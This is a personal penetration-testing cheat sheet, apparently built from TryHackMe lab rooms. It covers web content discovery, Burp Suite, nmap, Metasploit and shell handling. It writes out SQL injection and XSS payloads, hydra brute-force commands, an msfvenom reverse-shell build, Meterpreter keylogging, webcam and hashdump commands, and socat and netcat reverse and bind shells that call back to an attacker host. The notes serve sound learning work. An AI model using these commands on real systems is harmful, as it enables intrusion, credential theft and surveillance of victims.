Cyber Security Things I find useful

Andrew Rippy

July 2025

1 Python Server

Start a python file server

```
python3 -m http.server 9000
```

Downloading a file with wget from server. EXAMPLE

```
wget http://MACHINE_IP:9000/shell.elf
```

```
wget http://10.10.200.178:9000/rev_shell.elf
```

2 SSH

Ssh into a machine. EXAMPLE

```
ssh rippy@target-machine-ip-address
```

3 Sending errors to /dev/null

You can supress errors on linux and send to devnull by adding a 2 at the end and then ¿/dev/null

```
find / type f -name flag1.txt 2>/dev/null
```

4 Content Discovery Lab THM

OWASP Database for Icons is useful for seeing what framework was used to create a website, if the favicon.ico has not been already changed, this could provide insight to possible vulnerabilities.

```
https://wiki.owasp.org/index.php/OWASP_favicon_database
```

Command to download an icon and grab its MD5 hash.

```
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum
```

sitemap.xml file gives a list of every file the website owner wishes to be listed on a search engine

```
curl http://10.10.181.228 -v
```

When we make requests to the web server, the server returns various HTTP headers. These headers can sometimes contain useful information such as the webserver software and possibly the programming/scripting language in use. In the below example, we can see the webserver is NGINX version 1.18.0 and runs PHP version 7.4.3. Using this information, we could find vulnerable versions of software being used

4.1 Dorking

You can add filters to search for specific parts of a website along with other parameters.

4.1.1 site

```
site:tryhackme.com
```

returns results only from the specified website address

4.1.2 inurl

```
inurl:admin
```

returns results that have the specified word in the URL

4.1.3 filetype

```
filetype:pdf
```

returns results which are a particular file extension

4.1.4 intitle

```
intitle:admin
```

returns results that contain the specified word in the title
Here are some examples of dorking

1. To find administrative panels: site:example.com inurl:admin
2. To unearth log files with passwords: filetype:log ”password” site:example.com
3. To discover backup directories: intitle:”index of” ”backup” site:example.com

4.2 Wappalyzer

Wappalyzer is an online tool and browser extension that helps identify what technologies a website uses, such as frameworks, Content Management Systems (CMS), payment processors and much more, and it can even find version numbers as well.

```
(https://www.wappalyzer.com/)
```

4.3 AWS s3 buckets

S3 Buckets are a storage service provided by Amazon AWS, allowing people to save files and even static website content in the cloud accessible over HTTP and HTTPS. The owner of the files can set access permissions to either make files public, private and even writable. Sometimes these access permissions are incorrectly set and inadvertently allow access to files that shouldn't be available to the public. The format of the S3 buckets is http(s)://name.s3.amazonaws.com where name is decided by the owner, such as tryhackme-assets.s3.amazonaws.com. S3 buckets can be discovered in many ways, such as finding the URLs in the website's page source, GitHub repositories, or even automating the process. One common automation method is by using the company name followed by common terms such as name-assets, name-www, name-public, name-private, etc.

4.4 Automated Discovery

Wordlists are just text files that contain a long list of commonly used words; they can cover many different use cases. For example, a password wordlist would include the most frequently used passwords, whereas we're looking for content in our case, so we'd require a list containing the most commonly used directory and file names. An excellent resource for wordlists that is preinstalled on the THM AttackBox which Daniel Miessler curates.

```
https://github.com/danielmiessler/SecLists
```

4.4.1 Automated tools

You can use tools like dirb, ffuf, gobuster

You can install seclists like so:

```
sudo apt install seclists
```

4.5 Using ffuf

Can use it to Fuzz discovery for names. Usernames, Sub domain names.

```
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d
"username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-
```

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://MACHINE
```

Logic Flaw exploit

```
curl 'http://10.10.170.41/customers/reset?email=robert@acmeitsupport.thm'

-H 'Content-Type: application/x-www-form-urlencoded' -d

'username=robert&email={username}@customer.acmeitsupport.thm'
```

Useful for backwards hash cracking

```
https://crackstation.net/
```

You can also encode/decode base64

5 IDOR

Stands for insecure direct object reference.

5.1 Sending a HTTP Post Form

```
curl 'http://10.10.148.103/challenges/chall1.php'

-H 'Content-Type: application/x-www-form-urlencoded' -d 'file=/etc/flag1'
```

6 Burp Suite

Burp suite is for capturing and changing http data for mobile and web application. Very useful.

1. Proxy: The Burp Proxy is the most renowned aspect of Burp Suite. It enables interception and modification of requests and responses while interacting with web applications.
2. Repeater: Another well-known feature. Repeater allows for capturing, modifying, and resending the same request multiple times. This functionality is particularly useful when crafting payloads through trial and error (e.g., in SQLi - Structured Query Language Injection) or testing the functionality of an endpoint for vulnerabilities.
3. Intruder: Despite rate limitations in Burp Suite Community, Intruder allows for spraying endpoints with requests. It is commonly utilized for brute-force attacks or fuzzing endpoints.
4. Decoder: Decoder offers a valuable service for data transformation. It can decode captured information or encode payloads before sending them to the target. While alternative services exist for this purpose, leveraging Decoder within Burp Suite can be highly efficient.

5. Comparer: As the name suggests, Comparer enables the comparison of two pieces of data at either the word or byte level. While not exclusive to Burp Suite, the ability to send potentially large data segments directly to a comparison tool with a single keyboard shortcut significantly accelerates the process.

6. Sequencer: Sequencer is typically employed when assessing the randomness of tokens, such as session cookie values or other supposedly randomly generated data. If the algorithm used for generating these values lacks secure randomness, it can expose avenues for devastating attacks.

Here's how to intercept data traffic

```
https://portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-tra
```

Burp Suite THM Room

```
https://tryhackme.com/room/burpsuitebasics
```

Useful tools.

```
Sitemap. Under Target > sitemap.
```

The sitemap shows the links available on each page. Useful for mapping out a site. The scope can filter out the results. Right clicking something under sitemap can add things to scope to help filter results.

```
Proxy Request/Response traffic capture for scope only under proxy settings, top.
```

Under proxy settings, you can enable the proxy intercept for things within the scope only. You can change this

6.1 Editing HTML Requests

When editing requests, make sure to highlight what you changed and use ctrl+U to encode it for HTML.

7 Cross Site Scripting

An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one.

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</ti
```

8 SQL Queries

```
select * from users LIMIT 1;
```

This query, returns all the columns by using the * selector, and then the "LIMIT 1" clause forces the database to return only one row of data. Changing the query to "LIMIT 1,1" forces the query to skip the first result,

```
select * from users where username='admin';
```

Selects all columns, and only grabs the row where username=admin

```
select * from users where username='admin' or username='jon';
```

Selects all columns, and only grabs the rows where username=admin or jon

```
select * from users where username like 'a%';
```

Using the like clause allows you to specify data that isn't an exact match but instead either starts, contains or ends with certain characters by choosing where to place the wildcard character represented by a percentage sign %. This returns any rows with a username beginning with the letter a.

```
select * from users where username like '%n';
```

This returns any rows with a username ending with the letter n.

```
select * from users where username like '%mi%';
```

This returns any rows with a username containing the characters mi within them.

```
SELECT name,address,city,postcode from customers UNION SELECT

company,address,city,postcode from suppliers;
```

This will combine the two sets of columns into one set of columns, hotdog style. (Stacked on top of one another)

```
insert into users (username,password) values ('bob','password123');
```

This will insert the value into the table.

```
update users SET username='root',password='pass123' where username='admin';
```

The UPDATE statement tells the database we wish to update one or more rows of data within a table. You specify the table you wish to update using "update %tablename% SET" and then select the field or fields you wish to update as a comma-separated list such as "username='root',password='pass123'" then finally, similar to the SELECT statement, you can specify exactly which rows to update using the where clause such as "where username='admin;"

```
delete from users where username='martin';
```

The DELETE statement tells the database we wish to delete one or more rows of data. Apart from missing the columns you wish to return, the format of this query is very similar to the SELECT. You can specify precisely which data to delete using the where clause and the number of rows to be deleted using the LIMIT clause.

8.1 SQLi

```
https://website.thm/blog?id=2;--

SELECT * from blog where id=2;-- and private=0 LIMIT 1;
```

The semicolon in the URL signifies the end of the SQL statement, and the two dashes cause everything afterwards to be treated as a comment. By doing this, you're just, in fact, running the query:

```
SELECT 1,2,group_concat(table_name) FROM information_schema.tables

WHERE table_schema = 'sqli_one'
```

Firstly, the method group_concat() gets the specified column (in our case, table_name) from multiple returned rows and puts it into one string separated by commas. The next thing is the information_schema database; every user of the database has access to this, and it contains information about all the databases and tables the user has access to. In this particular query, we're interested in listing all the tables in the sqli_one database, which is article and staff_users.

8.2 Blind SQLi

Blind SQLi

Unlike In-Band SQL injection, where we can see the results of our attack directly on the screen, blind SQLi is when we get little to no feedback to confirm whether our injected queries were, in fact, successful or not, this is because the error messages have been disabled, but the injection still works regardless. It might surprise you that all we need is that little bit of feedback to successfully enumerate a whole database.

Authentication Bypass

One of the most straightforward Blind SQL Injection techniques is when bypassing authentication methods such as login forms. In this instance, we aren't that interested in retrieving data from the database; We just want to get past the login.

Login forms that are connected to a database of users are often developed in such a way that the web application isn't interested in the content of the username and password but more in whether the two make a matching pair in the users table. In basic terms, the web application is asking the database, "Do you have a user with the username bob and the password bob123?" the database replies with either yes or no (true/false) and, depending on that answer, dictates whether the web application lets you proceed or not.

Taking the above information into account, it's unnecessary to enumerate a valid username/password pair. We just need to create a database query that replies with a yes/true.

Using the below password would work

```
' OR 1=1;--
```

Because it gives the following query

```
select * from users where username='' and password='' OR 1=1;
```

8.3 Blind SQLi Boolean Based

Using this statement

```
admin123' UNION SELECT 1,2,3 where database() like '%';--
```

We get a true response because, in the like operator, we just have the value of %, which will match anything as it's the wildcard value. If we change the wildcard operator to a%, you'll see the response goes back to false, which confirms that the database name does not begin with the letter a. We can cycle through all the letters, numbers and characters such as - and _ until we discover a match. If you send the below as the username value, you'll receive a true response that confirms the database name begins with the letter s.

Essentially, you are determining the database name with like, and going down the list of letters brute forcing it.

Similarly, you can take the following to determine the table names.

```
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE

table_schema = 'sqli_three' and table_name like 'a%';--
```

Next, you can find out the column names like so, after finding out the table names

```
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS

WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
```

Once you've found a column name, you need to append it to the query to avoid it showing up again with the like statement.

```
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS

WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users'

and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
```

Now with the column and table names, you can look for a username the same way.

```
admin123' UNION SELECT 1,2,3 from users where username like 'a%
```

8.4 Time Based SQLi

The SLEEP() method will only ever get executed upon a successful UNION SELECT statement.

```
admin123' UNION SELECT SLEEP(5),2;--
```

9 Network Security Passive Recon

To query whois servers, use this command

```
whois
```

To query DNS servers, use this command

```
nslookup
```

```
dig
```

WHOIS is a request and response protocol that follows the RFC 3912 specification. A WHOIS server listens on TCP port 43 for incoming requests. The domain registrar is responsible for maintaining the WHOIS records for the domain names it is leasing. The WHOIS server replies with various information related to the domain requested. Of particular interest, we can learn:

1. Registrar: Via which registrar was the domain name registered?
2. Contact info of registrant: Name, organization, address, phone, among other things. (unless made hidden via a privacy service)
3. Creation, update, and expiration dates: When was the domain name first registered? When was it last updated? And when does it need to be renewed?
4. Name Server: Which server to ask to resolve the domain name?

Find the IP address of a domain name using nslookup, which stands for Name Server Look Up. You need to issue the command nslookup DOMAIN_NAME, for example, nslookup tryhackme.com. Or, more generally, you can use nslookup OPTIONS DOMAIN_NAME SERVER. These three main parameters are:

1. OPTIONS contains the query type as shown in the table below. For instance, you can use A for IPv4 addresses and AAAA for IPv6 addresses. CNAME for Canonical Name, MX for Mail Servers, SOA for Start of Authority, TXT for TXT Records.

2. DOMAIN_NAME is the domain name you are looking up.
3. SERVER is the DNS server that you want to query. You can choose any local or public DNS server to query. Cloudflare offers 1.1.1.1 and 1.0.0.1, Google offers 8.8.8.8 and 8.8.4.4, and Quad9 offers 9.9.9.9 and 149.112.112.112. There are many more public DNS servers that you can choose from if you want alternatives to your ISP's DNS servers.

Example command

```
nslookup -type=A tryhackme.com 1.1.1.1
```

To use dig is it

```
dig DOMAIN_NAME TYPE
```

10 Network Security Active Recon

The ping command can tell if a server is online.

```
ping 8.8.8.8
```

Trace route tells the Ip addresses of the routers between you and server, and also how many hops. An example command is below.

```
traceroute 10.10.174.190
```

Telnet can also be of help. It can connect (without encryption) and send plain text.

Netcat is also useful for connecting and hosting server.

```
nc ip port
```

11 arp-scan

This command will send ARP queries to all valid IP addresses on your local networks.

```
arp-scan -l
```

Moreover, if your system has more than one interface and you are interested in discovering the live hosts on one of them, you can specify the interface using -I. For instance,

```
sudo arp-scan -I eth0 -l
```

12 Nmap

The command below will give the ip addresses on the system, the list of hosts that nmap will scan

```
nmap -sL ipaddr

nmap -sL 10.10.12.13/29
```

To count how many addresses nmap will scan, use -n, like below

```
nmap -sL -n ipaddr

nmap -sL -n 10.10.0-255.101-125
```

This command discovers all the live systems on the same subnet as the host machine. -PR means ARP query only

```
nmap -PR -sn MACHINE_IP/24
```

This scan will send ICMP echo packets to every IP address on the subnet. Again, we expect live hosts to reply; however, it is wise to remember that many firewalls block ICMP.

```
nmap -PE -sn MACHINE_IP/24
```

Because ICMP echo requests tend to be blocked, you might also consider ICMP Timestamp or ICMP Address Mask requests to tell if a system is online. Nmap uses timestamp request (ICMP Type 13) and checks whether it will get a Timestamp reply (ICMP Type 14). Adding the -PP option tells Nmap to use ICMP timestamp requests. As shown in the figure below, you expect live hosts to reply.

```
nmap -PP -sn MACHINE_IP/24
```

If you want Nmap to use TCP SYN ping, you can do so via the option -PS followed by the port number, range, list, or a combination of them

```
nmap -PS -sn MACHINE_IP/24
```

You can also use nmap with UDP, However, if we send a UDP packet to a closed UDP port, we expect to get an ICMP port unreachable packet; this indicates that the target system is up and available

```
nmap -PU -sn 10.10.68.220/24
```

Adding a -R allows for a reverse DNS lookup for ALL hosts, even those offline.

12.1 Port Responses

1. Open: indicates that a service is listening on the specified port.
2. Closed: indicates that no service is listening on the specified port, although the port is accessible. By accessible, we mean that it is reachable and is not blocked by a firewall or other security appliances/programs.
3. Filtered: means that Nmap cannot determine if the port is open or closed because the port is not accessible. This state is usually due to a firewall preventing Nmap from reaching that port. Nmap's packets may be blocked from reaching the port; alternatively, the responses are blocked from reaching Nmap's host.
4. Unfiltered: means that Nmap cannot determine if the port is open or closed, although the port is accessible. This state is encountered when using an ACK scan -sA.
5. Open—Filtered: This means that Nmap cannot determine whether the port is open or filtered.
6. Closed—Filtered: This means that Nmap cannot decide whether a port is closed or filtered.

12.2 Scanning open ports

This is a TCP connet scan.

```
nmap -sT targetIP
```

Unprivileged users are limited to connect scan. However, the default scan mode is SYN scan, and it requires a privileged (root or sudoer) user to run it. SYN scan does not need to complete the TCP 3-way handshake; instead, it tears down the connection once it receives a response from the server. Because we didn't establish a TCP connection, this decreases the chances of the scan being logged. We can select this scan type by using the -sS option. The figure below shows how the TCP SYN scan works without completing the TCP 3-way handshake.

```
nmap -sS targetIP
```

To determine open UDP ports, use this command. -sU indicates UDP, -F means to most common 100 ports, otherwise it will scan the most common 1000 ports. -v is verbose.

```
nmap -sU -F -v 10.10.248.16
```

You can control the speed at which the ports are scanned with -T¡1-5¿, -T4 is most common for CTF.

12.3 Quick Lookup of Commands for nmap scan

Commands

1. TCP Connect Scan nmap -sT 10.10.248.16
2. TCP SYN Scan sudo nmap -sS 10.10.248.16
3. UDP Scan sudo nmap -sU 10.10.248.16

Parameters

1. -p- all ports
2. -p1-1023 scan ports 1 to 1023
3. -F 100 most common ports
4. -r scan ports in consecutive order
5. -T¡0-5¿ -T0 being the slowest and T5 the fastest
6. –max-rate 50 rate ¡= 50 packets/sec
7. –min-rate 15 rate ¿= 15 packets/sec
8. –min-parallelism 100 at least 100 probes in parallel

12.4 More nmap scans

12.4.1 Null Scan

The null scan does not set any flag; all six flag bits are set to zero. You can choose this scan using the -sN option. A TCP packet with no flags set will not trigger any response when it reaches an open port, as shown in the figure below. Therefore, from Nmap's perspective, a lack of reply in a null scan indicates that either the port is open or a firewall is blocking the packet.

```
nmap -sN 10.10.239.186
```

12.4.2 FIN Scan

The FIN scan sends a TCP packet with the FIN flag set. You can choose this scan type using the -sF option. Similarly, no response will be sent if the TCP port is open. Again, Nmap cannot be sure if the port is open or if a firewall is blocking the traffic related to this TCP port.

```
nmap -sF 10.10.239.186
```

12.4.3 Xmas Scan

The Xmas scan gets its name after Christmas tree lights. An Xmas scan sets the FIN, PSH, and URG flags simultaneously. You can select Xmas scan with the option -sX.

Like the Null scan and FIN scan, if an RST packet is received, it means that the port is closed. Otherwise, it will be reported as open—filtered.

```
nmap -sX 10.10.239.186
```

12.4.4 Ack Scan

This type of scan is more suitable to discover firewall rule sets and configuration.

```
nmap -sA 10.10.239.186
```

12.4.5 Window Scan

The window scan can tell which ports are closed. It is specifically, like ACK scan, for firewalls.

```
nmap -sW 10.10.239.186
```

12.5 Grab Version of Services running

Instead of –version-light, you can replace that with –version-intensity LEVEL, and the level is 0 - 9. It gives more info, and is more complete the higher the intensity.

```
nmap -sV --version-light 10.10.177.226
```

12.5.1 Grab the OS

```
nmap -sS -O 10.10.177.226
```

12.6 Traceroute

```
nmap -sS --traceroute 10.10.177.226
```

12.7 Nmap Scripts

The scripts are stored under

```
/usr/share/nmap/scripts
```

If you want to execute the default scripts, use -sC AFTER -sS or similar

```
sudo nmap -sS -sC 10.10.177.226,
```

How to execute a specific script after a SYN Scan (-sS), you can use * like so, –script ”ftp*”

```
sudo nmap -sS -n --script "http-date" 10.10.177.226
```

13 Leaked Passwords

Rockyou has leaked passwords.

13.1 Hydra

Hydra can be used to figure out passwords.

```
hydra -l username -P wordlist.txt server service
```

Examples

```
hydra -l frank -P /usr/share/wordlists/rockyou.txt 10.10.170.43 ssh
```

```
hydra -l mark -P /usr/share/wordlists/rockyou.txt 10.10.170.43 ftp
```

```
hydra -l mark -P /usr/share/wordlists/rockyou.txt ftp://MACHINE_IP
```

1. -s PORT to specify a non-default port for the service in question.
2. -V or -vV, for verbose, makes Hydra show the username and password combinations that are being tried. This verbosity is very convenient to see the progress, especially if you are still not confident of your command-line syntax.
3. -t n where n is the number of parallel connections to the target. -t 16 will create 16 threads used to connect to the target.
4. -d, for debugging, to get more detailed information about what's going on. The debugging output can save you much frustration; for instance, if Hydra tries to connect to a closed port and timing out, -d will reveal this right away.

13.2 FTP Server

Connect to an FTP server as so:

```
ftp [MACHINE_IP] port
```

type ascii changes it to ascii text to save things
get [file] downloads the file

14 Metasploit

Modules are found here:

```
/opt/metasploit-framework/embedded/framework/modules
```

14.1 Auxiliary

Any supporting module, such as scanners, crawlers and fuzzers, can be found here.

14.2 Encoders

Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.

Signature-based antivirus and security solutions have a database of known threats. They detect threats by comparing suspicious files to this database and raise an alert if there is a match. Thus encoders can have a limited success rate as antivirus solutions can perform additional checks.

14.3 Evasion

While encoders will encode the payload, they should not be considered a direct attempt to evade antivirus software. On the other hand, "evasion" modules will try that, with more or less success.

14.4 Exploits, Nops

All found within modules. Ready to go exploits. NOPs are used for paddings. (No-ops)

14.5 Payloads

You will see four different directories under payloads: adapters, singles, stagers and stages.

1. Adapters: An adapter wraps single payloads to convert them into different formats. For example, a normal single payload can be wrapped inside a Powershell adapter, which will make a single powershell command that will execute the payload.

2. Singles: Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run.

3. Stagers: Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. "Staged payloads" will first upload a stager on the target system then download the rest of the payload (stage). This provides some advantages as the initial size of the payload will be relatively small compared to the full payload sent at once.

4. Stages: Downloaded by the stager. This will allow you to use larger sized payloads.

Msfconsole is managed by context; this means that unless set as a global variable, all parameter settings will be lost if you change the module you have decided to use. In the example below, we have used the ms17_010_eternalblue exploit, and we have set parameters such as RHOSTS. If we were to switch to another module (e.g. a port scanner), we would need to set the RHOSTS value again as all changes we have made remained in the context of the ms17_010_eternalblue exploit.

14.6 Example Using Tool

Assuming you are in the tool, open by typing msfconsole. Open the exploit as shown here.

```
use exploit/windows/smb/ms17_010_eternalblue
```

The prompt tells us we now have a context set in which we will work. You can see this by typing the 'show options' command. This will print options related to the exploit we have chosen earlier. The show options command will have different outputs depending on the context it is used in. The example above shows that this exploit will require we set variables like RHOSTS and RPORT. On the other hand, a post-exploitation module may only need us to set a SESSION ID (see the screenshot below). A session is an existing connection to the target system that the post-exploitation module will use.

The show command can be used in any context followed by a module type (auxiliary, payload, exploit, etc.) to list available modules. The example below lists payloads that can be used with the ms17-010 Eternalblue exploit.

For example, 'show payloads' shows avaliable payloads for the exploit. You can leave the context using the 'back' command. Further information on any module can be obtained by typing the 'info' command within its context.

14.6.1 Search

One of the most useful commands in msfconsole is search. This command will search the Metasploit Framework database for modules relevant to the given search parameter. You can conduct searches using CVE numbers, exploit names (eternalblue, heartbleed, etc.), or target system. The output of the search command provides an overview of each returned module. You may notice the “name” column already gives more information than just the module name. You can see the type of module (auxiliary, exploit, etc.) and the category of the module (scanner, admin, windows, Unix, etc.). You can use any module returned in a search result with the command use followed by the number at the beginning of the result line. (e.g. use 0 instead of use auxiliary/admin/smb/ms17_010_command)

Another essential piece of information returned is in the “rank” column. Exploits are rated based on their reliability. The table below provides their respective descriptions. For example, if we wanted our search results to only include auxiliary modules, we could set the type to auxiliary. The screenshot below shows the output of the search type:auxiliary telnet command.

14.7 Context Parameters

1. RHOSTS: “Remote host”, the IP address of the target system. A single IP address or a network range can be set. This will support the CIDR (Classless Inter-Domain Routing) notation (/24, /16, etc.) or a network range (10.10.10.x – 10.10.10.y). You can also use a file where targets are listed, one target per line using file:/path/of/the/target_file.txt
2. RPORT: “Remote port”, the port on the target system the vulnerable application is running on.
3. PAYLOAD: The payload you will use with the exploit.
4. LHOST: “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP address.
5. LPORT: “Local port”, the port you will use for the reverse shell to connect back to. This is a port on your attacking machine, and you can set it to any port not used by any other application.
6. SESSION: Each connection established to the target system using Metasploit will have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.

14.8 Setting Global Context Parameters

You can use the setg command to set values that will be used for all modules. The setg command is used like the set command. The difference is that if you use the set command to set a value using a module and you switch to another module, you will need to set the value again. The setg command allows you to set the value so it can be used by default across different modules. You can clear any value set with setg using unsetg

14.9 Using Modules

Using modules

Once all module parameters are set, you can launch the module using the exploit command. Metasploit also supports the run command, which is an alias created for the exploit command as the word exploit did not make sense when using modules that were not exploits (port scanners, vulnerability scanners, etc.).

The exploit command can be used without any parameters or using the “-z” parameter.

The exploit -z command will run the exploit and background the session as soon as it opens.

14.10 Sessions

Once a vulnerability has been successfully exploited, a session will be created. This is the communication channel established between the target system and Metasploit.

You can use the background command to background the session prompt and go back to the msfconsole prompt.

Alternatively, CTRL+Z can be used to background sessions.

The sessions command can be used from the msfconsole prompt or any context to see the existing sessions.

To interact with any session, you can use the sessions -i command followed by the desired session number.

14.10.1 Port Scanning

```
search portscan
```

You can directly perform Nmap scans from the msfconsole prompt as shown below faster:

14.10.2 UDP service Identification

The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.

14.10.3 SMB Scans

Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers.

14.11 Workspaces

You can see your workspace with the workspace command. You can add a workspace with -a [workspacename] or delete a workspace with -d [workspacename]

14.12 Creating a reverse shell script with msfvenom

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.23.141.171

LPORT=8888 -f elf > rev_shell.elf
```

15 Meterpreter Commands

15.1 Core Commands

1. background: Backgrounds the current session
2. exit: Terminate the Meterpreter session
3. guid: Get the session GUID (Globally Unique Identifier)
4. help: Displays the help menu
5. info: Displays information about a Post module
6. irb: Opens an interactive Ruby shell on the current session
7. load: Loads one or more Meterpreter extensions
8. migrate: Allows you to migrate Meterpreter to another process
9. run: Executes a Meterpreter script or Post module
10. sessions: Quickly switch to another session

15.2 File System Commands

1. cd: Will change directory
2. ls: Will list files in the current directory (dir will also work)
3. pwd: Prints the current working directory
4. edit: will allow you to edit a file
5. cat: Will show the contents of a file to the screen
6. rm: Will delete the specified file
7. search: Will search for files
8. upload: Will upload a file or directory
9. download: Will download a file or directory

15.3 Networking Commands

1. arp: Displays the host ARP (Address Resolution Protocol) cache
2. ifconfig: Displays network interfaces available on the target system
3. netstat: Displays the network connections
4. portfwd: Forwards a local port to a remote service
5. route: Allows you to view and modify the routing table

15.4 System Commands

1. clearev: Clears the event logs
2. execute: Executes a command
3. getpid: Shows the current process identifier
4. getuid: Shows the user that Meterpreter is running as
5. kill: Terminates a process
6. pkill: Terminates processes by name
7. ps: Lists running processes
8. reboot: Reboots the remote computer
9. shell: Drops into a system command shell
10. shutdown: Shuts down the remote computer
11. sysinfo: Gets information about the remote system, such as OS and Computer Name and Domain

15.5 Other Commands

1. idletime: Returns the number of seconds the remote user has been idle
2. keyscan_dump: Dumps the keystroke buffer
3. keyscan_start: Starts capturing keystrokes
4. keyscan_stop: Stops capturing keystrokes
5. screenshare: Allows you to watch the remote user's desktop in real time
6. screenshot: Grabs a screenshot of the interactive desktop
7. record_mic: Records audio from the default microphone for X seconds
8. webcam_chat: Starts a video chat

9. webcam_list: Lists webcams
10. webcam_snap: Takes a snapshot from the specified webcam
11. webcam_stream: Plays a video stream from the specified webcam
12. getsystem: Attempts to elevate your privilege to that of local system
13. hashdump: Dumps the contents of the SAM database

15.6 Find system shares

Search enum_shares and use an open session

15.7 Find file on system

```
search -f secrets.txt
```

15.8 File Contents

To see file contents,

```
cat "c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt"
```

16 Shells

16.1 Netcat

Start netcat listener

```
nc -lvnp <port-number>
```

1. -l is used to tell netcat that this will be a listener
2. -v is used to request a verbose output
3. -n tells netcat not to resolve host names or use DNS. Explaining this is outwith the scope of the room.
4. -p indicates that the port specification will follow.

If the port is below 1024, you need sudo out front.
To connect to a netcat listener,

```
nc [target-ip] [chosen-port]
```

16.2 Use python to spawn a shell

Spawn the shell, then enable commands like clear

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

```
export TERM=xterm
```

Background the shell using CTL+Z, then

```
stty raw -echo; fg
```

This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.

16.3 Use rlwrap to spawn a shell

```
rlwrap nc -lvnp [port]
```

Prepending our netcat listener with "rlwrap" gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilize. When dealing with a Linux target, it is possible to completely stabilize, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use

```
stty raw -echo; fg
```

to stabilize and reenter the shell.

16.4 Socat Shell

The third easy way to stabilise a shell is quite simply to use an initial netcat shell as a stepping stone into a more fully-featured socat shell. Bear in mind that this technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell. To accomplish this method of stabilisation we would first transfer a socat static compiled binary (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary

```
sudo python3 -m http.server 80
```

then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget

```
wget [LOCAL-IP]/socat -O /tmp/socat
```

For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed

```
Invoke-WebRequest -uri [LOCAL-IP]/socat.exe -outfile C://Windows/temp/socat.exe
```

. We will cover the syntax for sending and receiving shells with Socat in the upcoming tasks.

With any of the above techniques, it's useful to be able to change your terminal tty size. This is something that your terminal will do automatically when using a regular shell; however, it must be done manually in a reverse or bind shell if you want to use something like a text editor which overwrites everything on the screen.

First, open another terminal and run

```
stty -a
```

This will give you a large stream of output. Note down the values for "rows" and columns:

Next, in your reverse/bind shell, type in:

```
stty rows [number]
```

and

```
stty cols [number]
```

Filling in the numbers you got from running the command in your own terminal.

This will change the registered width and height of the terminal, thus allowing programs such as text editors which rely on such information being accurate to correctly open

17 Socat

17.1 Reverse Shells

As mentioned previously, the syntax for socat gets a lot harder than that of netcat. Here's the syntax for a basic reverse shell listener in socat:

```
socat TCP-L:[port] -
```

As always with socat, this is taking two points (a listening port, and standard input) and connecting them together. The resulting shell is unstable, but this will work on either Linux or Windows and is equivalent to

```
nc -lvnp [port]
```

On Windows we would use this command to connect back:

```
socat TCP:[LOCAL-IP]:[LOCAL-PORT] EXEC:powershell.exe,pipes
```

The ”pipes” option is used to force powershell (or cmd.exe) to use Unix style standard input and output.

This is the equivalent command for a Linux Target:

```
socat TCP:[LOCAL-IP]:[LOCAL-PORT] EXEC:"bash -li"
```

17.2 Bind Shells

On a Linux target we would use the following command:

```
socat TCP-L:[PORT] EXEC:"bash -li"
```

On a Windows target we would use this command for our listener:

```
socat TCP-L:[PORT] EXEC:powershell.exe,pipes
```

We use the ”pipes” argument to interface between the Unix and Windows ways of handling input and output in a CLI environment.

Regardless of the target, we use this command on our attacking machine to connect to the waiting listener.

```
socat TCP:[TARGET-IP]:[TARGET-PORT] -
```

17.3 Stable Linux tty reverse shell

Now let’s take a look at one of the more powerful uses for Socat: a fully stable Linux tty reverse shell. This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:

```
socat TCP-L:[port] FILE:‘tty‘,raw,echo=0
```

Let’s break this command down into its two parts. As usual, we’re connecting two points together. In this case those points are a listening port, and a file. Specifically, we are passing in the current TTY as a file and setting the echo to be zero. This is approximately equivalent to using the Ctrl + Z,

```
stty raw -echo; fg
```

trick with a netcat shell – with the added bonus of being immediately stable and hooking into a full tty.

The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default, however, it’s possible to upload a precompiled socat binary, which can then be executed as normal.

The special command is as follows:

```
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash

-li",pty,stderr,sigint,setsid,sane
```

This is a handful, so let's break it down.

The first part is easy – we're linking up with the listener running on our own machine. The second part of the command creates an interactive bash session with EXEC:"bash -li". We're also passing the arguments: pty, stderr, sigint, setsid and sane:

